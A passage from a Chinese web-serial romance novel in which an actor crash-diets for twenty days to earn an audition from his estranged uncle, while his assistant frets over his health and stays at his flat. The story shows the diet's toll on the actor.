叶幸司和左槊在圈子里从不公开双方关系,并且这么些年,连狗仔都没捕捉到一丁点风声,俞悄不用再问,也大概能猜到他们家的关系多冷淡了。 毕竟连年都不在一起过,又一个在内地一个在港台,一个是天王巨星,一个演技尬到被指定去演花瓶。 长得也不像,搁谁谁也猜不到。 俞悄就这点好,脾气一下去,人家不爱提他就不追着问。 “我会保密的。”他还向叶幸司保证,“你放心,你的事我都不会跟外人说。” 除了亲嘴掐屁股什么的……俞悄心虚地掐着手指头,声音越来越小。 幸好小蜡不是个大嘴巴。 他暗暗庆幸,同时有些后怕,提醒自己以后可不敢什么都往外说。 不然回头满世界传左槊的亲外甥搞男同,这可比叶幸司搞男同听着炸裂多了。 “那现在来解决一下迫在眉睫的问题吧。” 俞悄掏出一个小本子,惆怅又充满仪式感地写下标题—— 20天速减20斤大作战! 第60章 叶幸司上次称体重还是冬天,131斤。 他身高近189,这个重量配这个身高,严格来说已经很瘦了,如果再减20斤,哪怕掐头去尾,也得减到110斤。 189厘米,110斤。 俞悄在表格上划拉这些数字,光看着都觉得吓人。 “那就得一天减一斤啊?”他看看桌上颜色鲜黄,无比引人食欲的热量炸弹们,又看看叶幸司,“不然你今天先狂吃,储存能量,咱们明天再开始减?” “我是熊吗?”叶幸司不吃。 他两条腿叠着,不知什么时候又把他的大墨镜戴上了,端起他那杯什么都不加的死咖啡抿一口,侧头朝外看海,搭在藤椅把手上的纤长手指轻轻敲着,佯装轻松地度假。 俞悄抄着本子朝桌上扇,把食物的香气都扇过去。 瞿承衍的电话在这时打了过来。 他已经从左槊那儿知道他们聊的内容了,打电话来关心,问叶幸司在哪,为左槊说了点不知真假的好话,比如“槊哥其实很关心你”,要安排带他们去玩。 叶幸司婉拒了,他没心思玩,让俞悄去。 “我去个屁。” 俞悄小声嘀咕,快愁死了,一直对着计划表瞪眼。 他在手机上搜了一堆21天减肥法之类的东西,内容简直不让人活。 要么全是汤汤水水,要么就是一天只吃一样东西——如果这玩意靠谱的话,今天的叶幸司应该吃一整天的水煮蛋。 “其实不用真的减拿么多,有个态度就可以了。”瞿承衍诚恳地劝,“太伤身体了。” “我有数,承衍哥。”叶幸司水火不进。 两人没在香港逗留,为了试镜来的,延签也没意义。 而且俞悄怕叶幸司饿死在香港,还是回家饿着更踏实。 “多少?” 纪繁西坐在她的办公桌后边敷面膜边工作,听俞悄说完这一趟的经历,猛地眯缝起眼睛。 下一秒就很紧张地连忙把眼角撑平。 俞悄比了两根手指重复:“二十。天数和体重。” “疯了啊?”她拍拍桌子,语气隐约透出怒意,但面膜限制了她的五官,让她看起来冷静且若有所思。 她用这种若有所思的神情打量会儿叶幸司,眼珠子一转:“你能吗?” 俞悄眼仁儿翻得要缺氧,他心底还期盼着纪繁西能跟他统一战线,一起劝劝叶幸司。 显然这也是个狂人,根本没得指望。 “能不能都要减。”叶幸司语气清淡,态度坚定。 俞悄严重怀疑他是饿没劲儿了。 ——从和左槊定下二十斤之约,再到回内地,已经三天了。当天只喝两杯咖啡,一粒米都没进肚。 后面两天他都只吃早饭,晚上还要慢跑一小时。 至于早饭的内容,跟在《天王》里,白桃的饭量不相上下。 俞悄每天睁眼先问叶幸司的体重,再问他今天吃什么。 看着叶幸司发来的“一个鸡蛋”、“半碗粥”这些文字,人家还没事,他快要先焦虑了。 应该是胜负欲提供着强大的肾上腺素,叶幸司看起来精神状态都挺好,和平时没区别。 可俞悄心理作用作祟,总觉得他下一秒就会猝死。 “瘦多少了?”纪繁西问。 “2.8斤。”叶幸司说。 “我要晕倒了。”俞悄陷在椅子里掐自己人中。 纪繁西在塑身方面有多年经验,听叶幸司说完,她嘀咕一句“这样不行”,打电话约了个营养师过来。 营养师直接来公司和叶幸司开会。 俞悄听了半天,就听明白一件事——节食对身体伤害非常大,这种一天一斤的短期暴瘦非常不健康,最好的方法是运动。 但如果要实现眼下这个计划,只运动都不行,除了节食没有别的办法。 这完全就是废话。 “运动,然后节食?” 俞悄忍不住插嘴打断他。 “身体承受不住晕过去怎么办?” 喊你过来就是想要更好的方法! “请放心。”营养师很自信,“我会均衡好食品营养。” 俞悄放心不了。 “能不能让他看起来像是暴瘦,但实际上不用减太多的办法?”他追着问。 “那种情况属于脱水了,其实现在叶先生减掉的也是水分,短期内出现这种情况非常不安全。”营养师简直不知道是在安抚还是在恐吓,“可演员这个行业我能够理解。所以我会根据叶先生的体制,为他制定专门的食谱。” “以运动作为主要方式会健康很多,但相应的,就需要补充更多能量,效率也会……” “节食。”叶幸司根本不考虑效率慢的方式。 面对俞悄担忧的眼神,他又低声重复一遍:“我有数。” 有没有数俞悄也干涉不了,他劝又劝不动,老表现得忧心忡忡的反倒扫兴,只能随叶幸司去节食。 其实这种为了角色减重增重的事,在演艺圈里太多见了。 俞悄印象最深的就是国外一位影帝,每个角色都是不一样的体态,几乎让人认不出来。上一部电影还肚子大得像个球,没隔多久新作品上映,又瘦得像具骷髅。 至于女明星们更是宛如苦行僧,白桃说过她进圈后就没吃过一顿饱饭。 她还偷偷分享过一个八卦:某实力派唱将,已经是天后级别了,演唱会前为了体态更优美,能干出整整两天不吃饭,靠打营养剂活着这种疯魔的事。 这些事例冠以其他明星的名字,俞悄会打心底里赞叹一句敬业,再多也就是震惊。闲着无聊的时候他还会站着说话不腰疼,拿这些敬业佬跟那种吃不得苦、演什么都一个样的演员对比,站在道德制高点进行抨击。 可眼下实打实地发生在他自己的艺人身上,他根本赞叹不起来,只感到心疼。 五天过去,叶幸司减了六斤,俞悄彻底坐不住了。 “干嘛去,刚回来,又要出差?” 老妈看见俞悄收拾行李,不满地跟在身后念叨。 “我去叶幸司家住半个月。”转脸看老妈一脸迷茫,俞悄又跟她解释,“就是我那个艺人。” “哦我知道。”老妈假装对于亲儿子的工作了如指掌。 “你跑到别人家里住什么,”她认真地问,“你没有自己的家吗?” 俞悄被梗得半天不知道说什么好,又忍不住想笑:“少存点儿俞小雨的表情包吧。” 老妈笑不出来,听到俞小雨更惆怅了。 “小雨在外地上学,你爸也总不在家,你天天往外跑就算了,现在还要住出去了。” 俞悄只好停下来跟老妈解释,把叶幸司在减肥的事细说了一遍。 “二十天减二十斤?”老妈吓一跳,“不吃饭啊?那能行吗,要出问题的。” “谁说不是。”俞悄忿忿,“就是你喜欢的那个左槊,给他提的要求。” “左槊吗?那很值得了。”老妈一秒变脸。 俞悄无语地瞅着她。 “左槊很帅的。”老妈自己都乐了,“但这样也太伤身体了。妈妈之前单位那个范阿姨你还记得吗,她女儿就是减肥减坏了……” 母子俩从减肥聊到左槊,又从左槊蛐蛐到同事的八卦。 说着说着,老妈把自己都说性情了,一拍大腿起身往厨房走:“我去熬点粥你给那孩子带过去,家里正好还有点菇,很好的。你拎过去一起喝。不吃饭可不行。” “对!”俞悄眼睛一亮,“多煮点,我说是我老妈煮的,他不喝都不好意思!” 叶幸司坐在餐桌前,看着碗里还冒着热气的菌菇粥,半晌说不出话。 粥碗旁是俞悄拎来的小保温壶,粉红猪的形状,丝丝地冒着热气。 顺着升腾的热气望向俞悄饱含期待、亮晶晶的眼睛,再看看玄关他拉来的行李箱,叶幸司轻轻抿起嘴角。 “别抿嘴了,我看你现在都有点儿脱相。” 俞悄看着叶幸司线条更加分明的脸颊,怎么看怎么觉得他脸色都变差了,去洗了柄小汤匙在粥碗里来回地搅,帮忙给粥降温。 “喝碗粥没事的,我陪你喝,粥不胖人。” “哪有那么夸张。” 叶幸司笑笑,把汤匙接过来自己慢慢搅。 “帮我谢谢阿姨。” “你别装模作样了。”俞悄不听他这些,“我告诉你我妈可会哭啊,她天天在家十指不沾阳春水的,好容易煮回粥,还等着我给她拍空碗返图呢。” “喝不完。”叶幸司实诚得可恨。 俞悄刚要垮脸,他舀起一勺粥咽下去:“但这一碗会喝完的。” “快喝!”俞悄杵着脸守在旁边看叶幸司喝粥,感觉自己像个爹。 而守完一整天后,俞悄才真正搞明白叶幸司现在在过什么样的日子。 早上他按照营养师的食谱给自己弄完早餐,原本就该去健身房了。 但俞悄突然过来,叶幸司没有拒绝他和阿姨的心意,破荒天地多喝了碗粥,相应的,他今天在健身房里多泡了两个小时。 教练都有点担心,说叶幸司今天的体能消耗有点超标了。 俞悄心揪得不行,看叶幸司置若罔闻的加练,出汗,拉伸,简直有点后悔哄他喝这碗粥。 而运动完,除了白水,剩下的整半天时间,叶幸司一粒米都没再往嘴里进。 连喝水都很克制,避免水肿。 “真的一口都不吃吗?” 俞悄捧着晚饭在凑到叶幸司鼻端晃晃:“香喷喷的哦。” “别捣乱了。”叶幸司靠在沙发里看电影,他的“直男教材”还在一部部打卡,眼珠子都不斜一下。 “你到底是来帮我还是害我?” 俞悄“哦”一声,代入一下自己是挺欠儿的,老老实实坐回餐桌前。 “在我这住多久?”叶幸司又问。 “半个月,等你减完。”俞悄说,“你不方便?” “没有。”叶幸司云淡风轻,只提出一个问题,“你睡哪?” 俞悄一愣,咀嚼声戛然而止。【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 这确实是个正经问题。 可俞悄心思不正经,往沙发上瞟一眼,满脑子净是上回在这上面,被叶幸司亲得五迷三道的画面。 其实收拾行李的时候俞悄是有想到这个问题的,所以他专门塞了套床单,预想着可能发生的几种选项。 被老妈来搅和一下,他把这茬给忘得一干二净,光琢磨喝粥吃饭了。 这会儿被叶幸司提起来,简直由不得他不多想。 “暧昧了吧。”他往嘴里塞一口饭,故意说。 叶幸司看着他,嘴角扯起来一抹笑,也不接话,撑着下巴继续看电影。 俞悄有时候挺受不了叶幸司的,更受不了自己。 叶幸司这个小破出租屋只有一间卧室,卧室里自然只有一张床。他隐隐期待着叶幸司主动提出让他一起睡床,结果人家压根不接茬。 其实俞悄自己假装开玩笑,接一句“我跟你一起睡床啊”,说不定就真睡上了。 可他不好意思说。 几口饭嚼下去,错过了最合适接话的时间,就怎么都不适合再开口。 “那我睡沙发呗。” 俞悄带点儿赌气,故作潇洒地重新把话题接上。 “还能让大明星睡沙发吗。” 叶幸司淡淡地“嗯”一声,完全没有反对的意思,好像直接安排到他心里了似的。 气得俞悄又往嘴里大扒几口饭。 没有行程的时候,即便是叶幸司这样,面对减肥自律到可怕的人,作息也健康不起来。 晚上十一点,俞悄冲个澡出来,掏出床单准备给自己铺沙发床,叶幸司还在看电影——俞悄给他买的投影仪非常好使,比电脑看起来氛围感强多了。 “现在睡觉?”他帮着俞悄一起收拾。 “这才几点。”俞悄瞅瞅时间,“先铺上,省得等会儿困了折腾。” 沙发不大,但是两头可以摊开,再接两张凳子垫着,长度足够俞悄伸直腿。 虽然窄了点儿,起码比《塌房》睡得那张沙发舒服得多。 “这块儿凹下去,有个缝。” 俞悄躺上去感受一下,挺身往腰下摸索。 老式的弹簧沙发,三块主座垫像三个大面包,睡上去波澜起伏的。 “一波三折。”俞悄又抬抬小腿,“半个月下来别给我腰间盘睡突出了。” “这词是这么用的吗。”叶幸司问。 “你是语文课代表吗?”俞悄翻身下来,掀开床单往缝隙里塞一卷T恤做填充,“这样堵一下就好了。” 他为自己的小巧思洋洋自得,蹲在沙发前认真处理,像个容易满足的小孩。 叶幸司靠在电脑桌沿上,垂首望了会儿俞悄,说:“你去睡床。” “我把沙发收拾舒服了,你让我去睡床了。”俞悄把手机充电器插好,抱着枕头舒舒服服地滚进沙发里,“我可不去。” 他知道叶幸司是好意,心里感动了一下。 这就够了。 叶幸司也没多劝,转身去洗漱。 从卫生间出来,他站在卧室门口,摁上客厅大灯的开关:“那晚安。” 俞悄翻个身,趴在沙发上瞅他,说:“你卧室门能别关吗?” “嗯。”叶幸司“啪”地关上灯。 房子一暗,投影的声音就显得有些吵。 俞悄还不打算睡,他把电影音量调到无声,叶幸司的卧室门里也透出光亮,屋里并不显得很黑,倒是有种学生时代在朋友家寄宿的愉快隐秘感。 从俞悄的视角看不到叶幸司的床,但他能听到叶幸司的一切动静。 拉窗帘。 开小夜灯。 脱鞋。 掀被子上床。 脱……睡衣? “你裸睡啊?”俞悄忍不住问。 裸睡不是什么稀奇事,俞悄虽然没这习惯,可他也不习惯穿着裤子睡觉——刚才叶幸司一关灯,他就把睡裤蹬掉了,还是只穿着内裤最舒服。 可印象里,不管是录《塌房》的时候,还是在剧组,每次他去喊叶幸司起床,叶幸司都是睡衣穿得周周整整。 时刻准备好面对镜头的样子,往那一杵就是兵。 卧室里“滋滋啦啦”布料摩擦的动静停了停,叶幸司有些无奈又带点儿好笑的声音传出来:“顺风耳?” “那你平时拍戏的时候也没这习惯呢。”俞悄答非所问,心跳有点快。 在叶幸司的家里,听着他脱衣服裸睡。 一堵墙隔绝了视线,声音就显得格外暧昧。 “你进来看看。”叶幸司说。 “……哪有好人样儿。”俞悄咕哝着翻个身,玩手机去了。 他去看了眼今日文娱圈的热搜,又去叶幸司的各个社交平台逛一圈,然后点开超话,正好刷到叶幸司刚给一个帖子点完赞。 俞悄嘴一咧,有种形容不出来的小小快乐。 “蒋雨池那个团综好像是扑了。” 他顺道去蒋雨池的超话逛一圈,跟叶幸司八卦。 “你看了吗。”叶幸司问。 “看了半集,没什么意思。” 俞悄在那个团综开播的时候专门去瞅了眼,没什么新意,也是一群小少年吃吃喝喝逛逛。 所有人里就蒋雨池人气最高,镜头也基本都围着他转,蒋雨池又做作得要死,就这么干巴巴地硬拍。 不知道是公司没舍得给他们拨经费,还是本身就没太把这节目当回事,连个飞行嘉宾也没请。 整个综艺播完了,连点水花都没有。 “还不如《塌房》呢。”俞悄美滋滋地做出总结。 清清嗓子,他又问:“跟我说说你和左槊啊?” 俞悄还是好奇,不明白叶幸司跟他家里到底是什么状况。 叶幸司没说话,卧室传来下床的声音,俞悄裹着小薄毯坐起来,眼巴眼望地朝门口瞅。 见叶幸司只是光着上身,下面依然套着睡裤,他略微有些遗憾:“还得出来说啊?” “你在失望什么?”叶幸司问。 “别污蔑了。”俞悄扯起薄毯罩上脑袋,拱回沙发里。 叶幸司不是出来跟他说话,而是去厨房喝水。 “饿了?”俞悄借着投影的光观察他的动向。 叶幸司“嗯”一声。 “真遭罪。”俞悄又开始心疼了,“粥还有呢,给你热热?冰箱里有橙子。” “不吃。”叶幸司喝着水走过来,坐在沙发上看电影。 俞悄从毯子里抻出脑袋看他。 “不困。”叶幸司说。 有关左槊的话题又被摺了过去。 俞悄识相的不再多问,陪叶幸司看了会儿电影,困劲儿不知不觉上来,他连自己什么时候睡过去的都不知道。 再睁眼,天色大亮,叶幸司已经在厨房里做今日份的营养餐了。 端着两个餐盘出来,见俞悄围着毯子坐在沙发上发怔,叶幸司喊他:“醒了还不起。” “嗯?”俞悄面色有点古怪,“我缓缓。” “睡得难受?”叶幸司问,“晚上去我床上睡,以后一天一换。” “不是。”俞悄抓抓脸,不自在地动动。 “那下来吃饭。” “给你饿坏了。”俞悄揭开毯子瞅了眼,赶紧又裹上,“你去盛饭,在这晃什么。” 这对话要是被那群粉丝知道,又要说他倒反天罡了。 可眼下俞悄真顾不上这些。 叶幸司前脚进厨房,他就从沙发上一跃而起,飞快地拽过睡裤往腿上套。 然而越忙越出乱子。 纯棉睡裤过于柔顺,在脚下堆碎着,他金鸡独立地往裤管里塞脚,却怎么都对不齐。好容易把两条腿都套进去,俞悄差点给自己绊个大马趴。 他踉踉跄跄地保持平衡,眼见叶幸司的身影又出现在厨房门口,俞悄攥住裤腰,猛地往上一提。 小小的尴尬本应就此化解,俞悄在提上裤子的瞬间,提在心头的一口气也松下去了。 可是人永远想不到,当尴尬发生时,到底能尴尬到什么境地。 ——俞悄的裤腰卡了一下。 被他那因晨起的自然生理反应,而膨胀起来的部位。 那地方哪禁得起勒,子弹内裤本来就遮不住弧度,睡裤屁股倒是提上去包住了,前面被松紧裤腰一卡,更明显更鼓悠了。 他今天的内裤还是冰丝透气款。 叶幸司一抬眼,就目睹到这活灵活现的一幕。 他半边眉梢直接挑了起来。 俞悄当场就想去死。 “这么精神。”叶幸司点评道。 “神经病啊!”俞悄一路从脸胀红到胸口,背过身去边提裤子边怒吼,“正常现象懂吗,学过生物没有!” “不懂,我饿得没力气琢磨这些事。”叶幸司的笑根本藏不住,“卫生间在那。” 他笑着朝卫生间抬下巴,说出这句熟悉的调侃。 “滚!”俞悄攥着裤腰冲进去。 他在卫生间里呆了足足十分钟,攥着盥洗台蹲在地上,整个人都快死了。 自己也是虎。 俞悄悲愤地复盘反省。 就非得在客厅穿裤子,直接拿着裤子进卫生间不就好了?可见人不能慌,一慌就要丢人。 你也是不争气。 他又瞪着偃旗息鼓的那里自我教育。 是不是几天没弄了,咋这么精神呢今天? “精神”这词儿俞悄现在也不能细想了,叶幸司那句“这么精神”在他耳边像个魔咒,响起来一遍,俞悄就多一分轻生的念头。 在卫生间里沉浸式痛苦了十分钟,叶幸司敲敲门:“解决完了吗?我真的很饿。” 第62章 “我真的很饿”一传到耳朵里,俞悄周身死灵缠绕一般的羞耻与丢人感,一瞬间全都顾不上了。 这话由叶幸司嘴里说出来,显得格外可爱。 俞悄吁了口气,给自己做好心理建设,开门出去。 “不用等我的,瘦了吗今天?”他假装什么都没发生过,问叶幸司。 “一点二斤。” 叶幸司上下扫了俞悄一圈,目光还专门在那个位置顿了顿,才转身朝餐厅走。 “一斤多呢?”俞悄立马心理作用,觉得叶幸司又瘦了一圈。 “我说喝粥不会胖吧!”他洋洋自得。 叶幸司懒得和他解释,已经坐在桌上开吃了。 减肥这事儿有个规律,不管大基数还是小基数,都是前期快,快着快着,身体适应了这种改变,就开始进入平台期。 所以第九天的时候,叶幸司减掉整整十斤,有了明显的变化。 可是直到第十二天,整整三天,他只掉了零点五。 “平台期,正常。” 纪繁西听说这个消息,十分果断地做出判断。 营养师也说正常,只要体态有变化就很好,让叶幸司不要影响心情。 但怎么可能不影响。 纪繁西果断完都开始搓脸:“三天半斤,这熟悉的剧情,我听着都焦虑。” 叶幸司没说什么,只是继续减食,同时加练。 这人对自己狠起来简直不要命。 营养师的食谱被他擅自减了一半的量,对一个还需要运动的人来说,跟吃空气没区别。 吃不饱,运动量又大。这么折腾自己几天,速瘦的副作用也加速显现出来。 肉眼可见的情绪低沉,眼神阴测测的总带着烦躁,脸色非常难看,头发也干枯,嘴角还因为上火,起了个大燎泡。 睡眠质量也非常差。 俞悄能感受到,他夜晚翻身的频率很高,半宿才能睡着,但第二天又起得很早。 黑眼圈配合着下凹的眼眶,干裂的嘴角,灰败的神色。 要不是俞悄每天守着,他真的会怀疑叶幸司为了接戏切身去试探了法律的底线。 减肥影响情绪,情绪一低落人就懒得说话。 叶幸司本来话就少,现在话更少了。主要他也没劲说话。 尽管叶幸司再烦躁也并未传递负能量,更没发过火,俞悄跟他说点什么,他都尽量有回应,哪怕只是一句敷衍的“嗯”。 可俞悄不是傻子。 小小的出租房里,除了电影几乎昼夜不息的播放,压抑的气氛几乎要让人喘不上气。 “出去散散心吗?” 俞悄控制着音量,他昨天充电器掉地上,发出“砰”的一声,叶幸司几乎是条件反射地发出一声“啧”。 这比直接骂人还吓人,俞悄都不敢跟叶幸司乱开玩笑,小心地问他。 “没心情。”叶幸司只回了三个字,微微蹙起眉。 俞悄坐在旁边搓了搓裤子,有些不知所措。 几分钟后,叶幸司应该是意识到自己刚才太不耐烦,语气放缓了些,扭头又对俞悄道:“我懒得动,你出去帮我买瓶西瓜霜。” “口腔溃疡吗?”俞悄立马起身去穿鞋。 “嗯。”叶幸司朝他扯一下已经结痂的嘴角。 来到楼下的那一刻,实话实说,俞悄长长地松了口气。 他是能明白、也非常能体谅叶幸司现在的状态。但体谅与难以忍受压抑并不冲突。 再不脱离那个低压环境,他都要被传染了。 叶幸司把他支出来说是买药,应该也是想让他换换心情,俞悄猜的。 他回了趟家又拿点儿东西,慢慢悠悠去买西瓜霜,回去的路上接到俞小雨的消息,问他在干嘛。 死丫头肯定是在上课又无聊了,真正关心的也不是她哥,话题直往叶幸司身上跳。 “就这么水灵灵地减十来斤了?” 不打听还好,一打听差点给自己干破防,俞小雨直接发了条语音过来,狰狞的气声,背景音还有老师在讲课。 俞悄:能不能好好上课? 俞悄:还水灵,人都快干巴了,等到二十天就成干尸了。 俞小雨:那也值啊! 俞小雨:让我瘦二十斤我将喜极而泣。 俞悄:滚。 俞悄:你再瘦还能看吗? 俞小雨:男人真的适合减肥,又不来姨妈,没有平台期。 俞悄:谁说没有。 他把叶幸司这几天的状态告诉俞小雨,那边激动地发过来一串感叹号。 俞小雨:这题我会! 俞悄:感觉你的老师会比叶幸司更想听到这句话。 俞小雨置若罔闻:我真会,就是卡秤了,你让他吃一块巧克力就好了。 按照俞小雨的说话,就是身体已经习惯了叶幸司现在的状态,所以巴拉巴拉俞悄没听懂,总之就是身体机能适应了叶幸司目前的习惯,来保护他。 所以这时候就算绝食也很难掉称,相反,吃点儿东西,身体立马就会去调动能量去消耗,反倒比平时更高效。 俞小雨:就是跟欺骗餐一个道理。 不管这说法有没有讲究,让叶幸司吃东西,俞悄是双手双脚赞成的。 他没有叶幸司那么高的情操,对演戏也没有这份不要命的执着。 他更想叶幸司健健康康的,当个轻松的糊咖,也比受现在这洋罪强。 俞悄不再瞎逛了。 买完西瓜霜,看见药店前台就有巧克力卖,他也顾不得什么牌子成分,抽了几块一起结账。 叶幸司对于这个方法非常的犹豫不决。 在俞悄一阵好说歹说下,他应该是抱着死马当活马医、大不了明天再加练俩小时的心态,半信半疑地吃了半块巧克力。 “怎么样?” 俞悄屏气凝神,似乎叶幸司吃的不是巧克力,是什么老君瓶子里的仙丹。 “有感觉脂肪在燃烧吗?” 叶幸司脑袋往沙发上一靠,闭上眼,人都安详了。 别燃过头给烧死了。 俞悄忙往他人中上掐。 手还没碰到,叶幸司咽下巧克力,沙着嗓子说了句:“爽。” 俞悄收回手,望着他因为半块巧克力而满足的模样,心里一挠一挠的痒痒。 也许是巧克力疗法果然有效,也许是叶幸司最近的减食硬生生饿过了平台期,第十六天,体重秤终于动了。 并且连前几天没掉的斤数都给带走了。 “十七斤半。”叶幸司如释重负。 “叶幸司,你有这个毅力真的做什么都会成功的,转行去帮国家研究登月吧。”俞悄泪眼婆娑。 “有病。”叶幸司这会儿骂他都带着笑。 “我真要哭了。” 俞悄刹不住车,心疼叶幸司的同时,前几天的压抑一同发泄出来,他真的鼻子发酸。 “十几天瘦了十七斤,怎么这么遭罪啊。” 两人还没高兴五分钟,纪繁西的电话突然炸毛似的响起来。 “来我这。”她口吻严肃,通知叶幸司,“左槊来了。” 第63章 俞悄像是回到了中学时代,每次考完试还需要和家长汇报分数的时候——他的脑子里直接出现一块黑板,把17.5这个数字,自行四舍五入为18。 十六天减了十八斤,这听着立马就跟十七斤半不是一个量级。 俞悄为自己的条件反射既得意又心虚。 真是一生都在做数学题的中国学生。 “不是还有三天吗?” 叶幸司的关注点则和俞悄完全不一样,与其说紧张,倒更像是计划被打乱的不愉快。 “现在跑过来干什么?” “我哪知道!也没人通知我啊,自己溜溜达达就过来了,一敲门吓我一跳。” 纪繁西不知道在那个犄角旮旯偷摸打的电话,用气声压着嗓子嚷。 “赶紧过来,给你二十分钟!” 叶幸司对于纪繁西的限时全当听不见。 他在衣柜前光选衣服就选了十分钟,选完衣服又去选饰品,让俞悄给他熨一下,他还要去洗个头。 “不是,一百年过去了,你还洗头!” 俞悄急得团团转,看一眼时间都心慌,拽过衬衫就要往叶幸司身上套。 “就这么去,面黄肌瘦顶一脑袋乱毛,让姓左的看看他亲侄子被他一句话折腾成什么样。” 二十斤的要求下达之后,俞悄对左槊那些滤镜早就荡然无存,称呼都开始大不敬。 他觉得自己这个想法绝佳,既能激发出左槊那稀薄的亲情,又能显得叶幸司非常敬业,为了机会什么苦都能吃下。 “不。” 叶幸司一个字就给这提案否决了,转身朝卫生间走,变本加厉地要去洗澡。 “为什么啊!”俞悄跟在后面直想踢他。 “我不是为了做样子给他看。”叶幸司说。 “谁敢说你装样子?你自己瞅瞅你还有人样吗?”俞悄怀疑这人把脑子都饿缩了,没理解他的意思,“我是想让你真实呈现。” “我知道。” 叶幸司把淋浴都打开了,见俞悄还跟个尾巴似的跟着,索性胳膊一抬,就这么大敞着门,当着俞悄的面脱衣服。 俞悄行云流水地背过身,清了清嗓子。 “但我不是为了做给他看,我是真的要这个角色。” 叶幸司边脱边说,声音伴随着升温的水声,有种很潮湿的明确。 “剧本里方奇妙最后去见男主那一面,也不会是邋里邋遢的模样,他很在意自己在别人眼里的形象。” 俞悄不吱声了,把卫生间的门带上,抓紧时间去熨衣服。 十八斤在没有参照物的时候,更倾向于一种概念。 俞悄能看出叶幸司瘦了,可真看见上个月还合体的衣服,现在挂在叶幸司身上的效果,那种直观视觉所激起来的心酸心疼,让他在赶往公司的一路上都说不出话。 从公司前台到偶遇的工作人员,看到叶幸司都表现出惊讶的样子。 推开纪繁西办公室的门,她都愣了一下,然后忙起身亲自迎过来,做出一副慈爱长辈的模样,把叶幸司拉到左槊面前。 “哎哟这孩子瘦的……槊哥不是我说,幸司为了您这个角色……他是真喜欢演戏。” 没有人理会纪繁西饱含感情的称赞。 叶幸司的目光从进门就直直标在左槊身上。 左槊正以一种很悠闲的姿态端着杯子喝茶,看得出他这场出行是真的很突然,连个助理也没带。 一抬头,他举杯子的动作明显顿了顿。 确实是亲叔侄。 俞悄现在再看左槊的五官,就能捕捉到那细微的血缘印记了。 “减多少斤了。”左槊放下茶杯,朝叶幸司扬扬眉毛。 “十七点五。”叶幸司说。 俞悄在一旁小声更正:“十八。” 左槊扫他一眼,纪繁西动动手,示意俞悄先出去。 要搁平时俞悄肯定直接走了,但现在不一样,他的好奇心不允许他离开。 不仅不离开,他还像个睁眼瞎一样,左看右看,就是不跟纪繁西对眼。 “十八也没到二十啊。”左槊笑了。 “天数到了吗?”叶幸司反问。 “这茶不错。”左槊扭脸对纪繁西说。 三个人一齐盯着他。 “还是没到我心里想要的那种效果。”左槊很无奈似的,抱着胳膊又靠回沙发里,坦言道,“形销骨立,懂吗?” 叶幸司浅浅地吸了口气,俞悄从他皱起的眉宇间,知道他再开口,重点又会放在说好的天数还没到。 能让叶幸司连续烦躁,果然气人还得是这群老油子。 “但方奇妙按照剧本里的时间线,最后应该并没有瘦到形销骨立的程度,左老师。” 于是俞悄轻轻开了口。 这次他成为了三个人的视觉中心。 “俞悄。” 纪繁西喝了他一声,再一次示意俞悄出去,这次的动作毫不遮掩。 “你是那天跟着的助理?”左槊问。 “是我,左老师。”俞悄礼貌地微微鞠躬。 “剧本你也看了。”左槊问。 “看了。”俞悄点头。 纪繁西快要晕过去了,笑着向左槊解释:“现在的小孩没轻没重的,平时也老跟我顶嘴。” 说着她使劲瞪了俞悄一眼:“你先去忙吧。” “我不忙。”俞悄装傻装到底,左槊和叶幸司一同笑了声。 “没关系。”左槊饶有兴趣地继续问,“你是怎么理解方奇妙这个角色的?” 这问题就有点大了。 俞悄瞅瞅叶幸司,叶幸司用眼神示意他:大胆表达。 “也说不上是理解。” 俞悄装傻归装傻,语气很谦逊。 “其实接到我……纪姐的电话,知道您过来了,叶幸司还不是现在这个形象。” 他把自己本想让叶幸司用最憔悴真实的面貌出现,以及叶幸司刚才在家的反应,一五一十地描述给左槊听,包括那句“方奇妙不会是邋里邋遢的模样”。 “我想让他直接过来,是想让您看到,叶幸司真的很重视这次机会,哪怕只是试镜。” 俞悄坦言。 “您可以理解为,我试图让他向您‘卖惨’。” 左槊又笑了一下,这次的笑很玩味。 而余光里的纪繁西看起来已经濒临缺氧了。 “我是从助理,从朋友,或许也是很多观众的心理去想问题——我们尊敬演员为了角色去吃点苦受点罪,但为了一个面试的机会,在两周时间暴瘦二十斤,我们代入的点很自然就会放在演员身上。” “十七斤半。”左槊优雅地纠正。 “我四舍五入了一下,小学担任过数学课代表。”俞悄优雅地道歉。 纪繁西哆嗦着手,优雅地轻按太阳穴。 “可叶幸司能够更加自然地,在生活里直接代入‘方奇妙’这个人物——他会第一时间去思考,如果是方奇妙,会不会放任自己蓬头垢面地去见他姐夫。” 俞悄正色回来。 “即便他连试镜的机会都还没拿到。” 办公室里安静了几秒钟,左槊将目光移向叶幸司,问道:“你怎么想?” “我明白俞悄的意思。”叶幸司说,“他刚提到剧本的时间线。” 你明白个头啊! 俞悄嘴角一哆嗦,差点和纪繁西一同去吸氧。 哥们儿装疯卖傻给你营造出适合卖惨的气氛,一张嘴干回剧本上了,演我呢? “前几天俞悄专门去找了各种毒品反应的资料,方奇妙具体是染上了什么毒,你给我的剧本里还没细化到这一步。” 叶幸司认真分析着。 “但按照三个月的时间,任何毒品都不会在这么短的时间里,让人产生非常明显的躯体性变化。” “所以他会觉得需要‘形销骨立’有些夸张。” 左槊对于这个解释,既不赞同也不反对。 他什么想法都没发表,只是向叶幸司重复一遍自己的问题:“你怎么想。” “我赞同俞悄。”叶幸司说,“也可以做到形销骨立。” “谁都可以。”左槊杵着脸,盯着自己的亲侄子,“你该知道我,我的要求是演技。” “那就给我一场正式的试镜。”叶幸司盯回去。 左槊无所谓地一耸肩,意思是没问题。 所谓“正式的试镜”到了儿也没正式。 没有录像,没有剧情条,左槊借了公司的排练厅,和叶幸司俩人进去,就开始“试镜”了。 经历过《爱在东南角》的排队两层楼试镜大场面,以及程立方对《天王》角色的严谨,左槊这种说好听点叫随性,直白来说根本就想一出是一出的试镜,让俞悄感到淡淡的不满,连紧张都紧张不起来。 不过这次试镜的时长倒是不短。 叔侄俩在排练厅里待了小一个钟,俞悄被纪繁西提溜着耳朵骂一大通,又输了三把排位,他俩才开门出来。 “怎么样?” 俞悄立马揣起手机凑上去,小声问。 叶幸司没回答,恢复了平时什么情绪都不形于色的状态,抬手朝俞悄鼻头刮了一下。 “回酒店睡一觉。晚上谁请我吃饭?” 左槊倒是显得很轻松,跟纪繁西寒暄两句,人还在屋里呢,先从兜里摸出个大墨镜挂脸上了。 合着这毛病随根儿啊。 